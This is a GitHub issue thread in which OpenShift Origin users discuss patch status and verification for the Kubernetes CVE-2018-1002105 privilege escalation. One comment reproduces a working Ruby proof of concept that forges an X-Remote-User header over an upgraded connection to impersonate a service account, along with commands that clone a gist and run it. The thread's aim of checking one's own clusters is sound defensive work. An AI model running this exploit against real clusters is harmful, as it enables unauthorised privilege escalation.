origin icon indicating copy to clipboard operation
origin copied to clipboard

CVE-2018-1002105

Open clcollins opened this issue 8 years ago • 48 comments

It appears that Kubernetes has patched v1.10.11, v1.11.5, and v1.12.3 for CVE-2018-1002105, the pod exec/attach/port-forward attack and API Extension attack(s) that were released yesterday(?). Downstream OCP has either a patch or mitigation available. I don't see any mention of the CVE in Origin in either the issues or commits yet (apologies if I'm missing something).

Is there a tracker for watching patches as applied to Origin, and when they are, can they immediately be applied using the documented upgrade process using OpenShift Ansible? Or are there changes needed there as well?

Thanks!

Edit: FWIW, we're running v3.11

clcollins avatar Dec 04 '18 13:12 clcollins

It kind of looks like a new openshift/origin-control-plane:v3.10.0 was released last night. I also saw this in the git log of the release-3.10 branch:

commit 8a7096453e33bb8992c6d3c3c90116a8088902b0
Merge: 6b8ad0e482 95d325e75e
Author: OpenShift Merge Robot <[email protected]>
Date:   Mon Dec 3 16:20:34 2018 -0800

    Merge pull request #21601 from deads2k/cve-23-ok-3.10

    UPSTREAM: 00000: Verify backend upgrade

I'd love to hear from the devs tho

mshutt avatar Dec 04 '18 14:12 mshutt

Does anyone have a Proof of Concept or test harness of sorts short of checking the container version besides read the exploit and figure out how all of this port handing goes?

mshutt avatar Dec 04 '18 14:12 mshutt

So 4 hrs in and not a word? I know these bits are "free as in beer", but it's still important that the people drinking the free beer aren't drinking poison... If I didn't know any better, I'd think that the lack of messaging was by design?

Send my regards to whoever my Solutions Architect is now that he's a chief architect as we are/were so close to at least getting pricing... But this... C'mon.

Is the origin-control-plane:v3.10.0 pushed to docker hub last night free of this CVE or nawh?

mshutt avatar Dec 04 '18 17:12 mshutt

I would also like to know if the fix will be back ported to 3.6?

jocelynthode avatar Dec 04 '18 18:12 jocelynthode

Ok well in terms of 3.10, the binaries in the origin-control-plane:v3.10.0 container both have a symbol for proxy.getResponseCode and have a version string which includes the first 8 chars of @deads2k last PR merge.

# oc -n kube-system rsh master-api-[redacted]
sh-4.2# nm openshift | egrep getResponseCode
00000000014b79b0 t github.com/openshift/origin/vendor/k8s.io/apimachinery/pkg/util/proxy.getResponseCode
sh-4.2# ./openshift version
openshift v3.10.0+8a70964-87

https://github.com/deads2k/origin/blob/95d325e75e35a477ab416a4eefc0182579705ec5/vendor/k8s.io/kubernetes/staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go#L374

func getResponseCode(r io.Reader) (int, []byte, error) { - this method was added witth the patch

commit 8a7096453e33bb8992c6d3c3c90116a8088902b0 (HEAD -> release-3.10, origin/release-3.10)
Merge: 6b8ad0e482 95d325e75e
Author: OpenShift Merge Robot <[email protected]>
Date:   Mon Dec 3 16:20:34 2018 -0800

    Merge pull request #21601 from deads2k/cve-23-ok-3.10

    UPSTREAM: 00000: Verify backend upgrade

mshutt avatar Dec 04 '18 18:12 mshutt

Ok all my whining and we got through rolling 3.10.0 (redux) into the control plane no problem...

mshutt avatar Dec 04 '18 21:12 mshutt

Some question ?
This backport mitigating the API Extension attack (OCP 3.6 -> 3.11) ? What about the pod exec/attach/port-forward attack (OCP 3.2->3.11) ? What about 3.9. version - can we expect updates here as well ? How this one was solved ?

Thanks in advance

Generally speaking, there is no confirmation that the fix from above is actually a fix for this issue. Maybe a developer could approve that this is fixed with this commit and that the latest docker images (from which date on) contain this fix.

rhnewtron avatar Dec 05 '18 07:12 rhnewtron

Any progress?

Lazast avatar Dec 05 '18 08:12 Lazast

You can test for the presence of this vulnerability in the latest build of OKD using this container from Gravitational (the gravitational/cve-2018-1002105:latest image is hosted on Quay, and itself shows no vulnerabilities): https://github.com/gravitational/cve-2018-1002105

mirekphd avatar Dec 05 '18 09:12 mirekphd

I am on the lastest v3.11 and I am getting: [root@baleia cve-2018-1002105]# go run main.go Attempting to locate and load kubeconfig file Loading: /root/.kube/config Testing for unauthenticated access...

API allows unauthenticated access Testing for privilege escalation... API is vulnerable to CVE-2018-1002105

gfvirga avatar Dec 05 '18 15:12 gfvirga

@gfvirga I have the same issue. I'm using v3.9.0 with mitigation applied and have he same output. When you look on the code, in the first step it's testing simply https://<your_api_endpoint>/apis - but thing is that this shows valid answer (almost always). Listed endpoints are not available to not authenticated user. The same goes to pod test :( I guess first test is not really good one, second one can't be treated as trusted one.

Or.... I simply doing something wrong :)

You can't hit the loadbalancer. It caught me at first, but I saw in the README.md that is a problem. I find it best to create a new kubeconfig and feed it into the container or pass it to the go app.

You also need list pods in all namespaces as well as list all namespaces as that is the discovery process of this app... IOW create a clusterrole (and clusterrolebinding):

# oc get clusterroles/listns -o yaml
apiVersion: authorization.openshift.io/v1
kind: ClusterRole
metadata:
  name: listns
rules:
- apiGroups:
  - ""
  attributeRestrictions: null
  resources:
  - namespaces
  - pods
  verbs:
  - get
  - list

mshutt avatar Dec 06 '18 08:12 mshutt

I found a simple test (exploit) described in this blog by Ariel Zalivansky (the author used Ubuntu, but you can port it easily to Centos/RHEL):

apt-get update && apt-get install -y ruby git
git clone https://gist.github.com/2d09ec0ad600667980359394a2a65a0d.git
cd 2d09ec0ad600667980359394a2a65a0d/ 
chmod +x poc.rb
./poc.rb

Note that before executing the Ruby script in the final line you will probably need to modify the 'host = 'kubernetes'` variable in your local copy of poc.rb.

For posterity, poc.rb contains the following code:

#!/usr/bin/env ruby

require 'socket'
require 'openssl'
require 'json'

host = 'kubernetes'
metrics = '/apis/metrics.k8s.io/v1beta1'

sock = TCPSocket.new host, 443
ssl = OpenSSL::SSL::SSLSocket.new sock
ssl.sync_close = true
ssl.connect

ssl.puts "GET #{metrics} HTTP/1.1\r\nHost: #{host}\r\nUpgrade: WebSocket\r\nConnection: upgrade\r\n\r\n"
6.times { puts ssl.gets }
ssl.puts "GET #{metrics}/pods HTTP/1.1\r\nHost: #{host}\r\nX-Remote-User: system:serviceaccount:kube-system:horizontal-pod-autoscaler\r\n\r\n"
6.times { puts ssl.gets }

puts JSON.pretty_generate JSON.parse ssl.gets

ssl.close

mirekphd avatar Dec 09 '18 14:12 mirekphd

Actually I tested this procedure manually and I was able to exploit the CVE if both pods run on the same node. I tried the same on 3.11 (installed 60 minutes ago) and it seems to be not exploitable.

rhnewtron avatar Dec 10 '18 20:12 rhnewtron

Ok all my whining and we got through rolling 3.10.0 (redux) into the control plane no problem...

We upgraded one of our environments from 3.9 to 3.10 4 days ago and appear to have the patched version sh-4.2# openshift version openshift v3.10.0+8a70964-87

We previously upgraded another envionment (12 days ago) and as expected it has the not-yet-patched version of 3.10 sh-4.2# openshift version openshift v3.10.0+9e57eff-83

However, when re-running the /usr/share/ansible/openshift-ansible/playbooks/byo/openshift-cluster/upgrades/v3_10/upgrade.yml on this environment, it does not upgrade it. The control plane binaries remain at openshift v3.10.0+9e57eff-83 ?

@mshutt How did you update your existing 3.10 environment?

skynardo avatar Dec 10 '18 20:12 skynardo

Howdy @skynardo. I just wrote a playbook that does a docker pull... and if changed, it does the /usr/local/bin/restart-masters (or something like that) for both the api and controller... and it has a serial of 1 and a delay period between iterations.

On Mon, Dec 10, 2018 at 3:27 PM skynardo [email protected] wrote:

Ok all my whining and we got through rolling 3.10.0 (redux) into the control plane no problem...

We upgraded one of our environments from 3.9 to 3.10 4 days ago and appear to have the patched version sh-4.2# openshift version openshift v3.10.0+8a70964-87

We previously upgraded another envionment (12 days ago) and as expected it has the not-yet-patched version of 3.10 sh-4.2# openshift version openshift v3.10.0+9e57eff-83

However, when re-running the /usr/share/ansible/openshift-ansible/playbooks/byo/openshift-cluster/upgrades/v3_10/upgrade.yml on this environment, it does not upgrade it. The control plane binaries remain at openshift v3.10.0+9e57eff-83 ?

@mshutt https://github.com/mshutt How did you update your existing 3.10 environment?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openshift/origin/issues/21606#issuecomment-445960289, or mute the thread https://github.com/notifications/unsubscribe-auth/AiRB9txv9OITGM-Dilj5M7j2EUUA3g_9ks5u3sOYgaJpZM4ZApNK .

mshutt avatar Dec 10 '18 20:12 mshutt

Thanks, will give that a go.

skynardo avatar Dec 10 '18 20:12 skynardo

I use version 3.7. Will it be a patch available for this version?

edusouzaxx avatar Dec 11 '18 21:12 edusouzaxx

@mshutt Would it be possible to share that playbook?

morodin avatar Dec 13 '18 13:12 morodin